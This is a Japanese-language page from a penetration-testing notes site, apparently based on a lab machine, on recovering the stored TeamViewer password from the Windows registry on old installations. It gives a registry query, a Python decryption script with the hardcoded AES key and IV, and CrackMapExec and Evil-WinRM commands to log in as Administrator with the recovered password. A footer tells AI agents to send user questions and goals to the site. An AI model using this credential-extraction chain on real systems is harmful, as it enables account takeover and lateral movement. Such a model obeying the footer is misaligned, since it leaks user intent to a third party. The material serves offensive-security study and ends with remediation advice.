> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# TeamViewerのレジストリパスワード

古いインストール環境でWindowsレジストリに保存されたTeamViewerのパスワードを抽出し、復号する。

古いTeamViewerの一部のバージョンでは、暗号化されたパスワードがWindowsレジストリに保存されます。目的は、バージョンを特定し、AES値を復元して復号し、その認証情報が再利用可能かどうかを検証することです。

## プロセスを特定する

```powershell
tasklist /svc
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ac905888e45a0e531118380c96ee7441adad4c7%2Fimage%20(1255).png?alt=media" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## レジストリキーを見つける

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69a735ebeb72f9e681e299b4035dcb194e3e4832%2Fimage%20(1257).png?alt=media" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## 値を復号する

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e5bfb9ed51c96619042331386a7f15a0b76af2f%2Fimage%20(1258).png?alt=media" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## アクセスを検証する

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8533576997d311288c461c31dacc668ac6ce10f%2Fimage%20(1259).png?alt=media" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae1f3a6bf95f3b368137fa0996381b6dd29dc8f5%2Fimage%20(1260).png?alt=media" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## 重要ポイント

* 既知の復号手順を適用する前に、正確なTeamViewerのバージョンを特定してください。
* レジストリで永続化されたサードパーティアプリケーションの秘密情報を確認します。
* TeamViewerを更新し、再利用可能な無人アクセス用パスワードを避けることで修正します。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
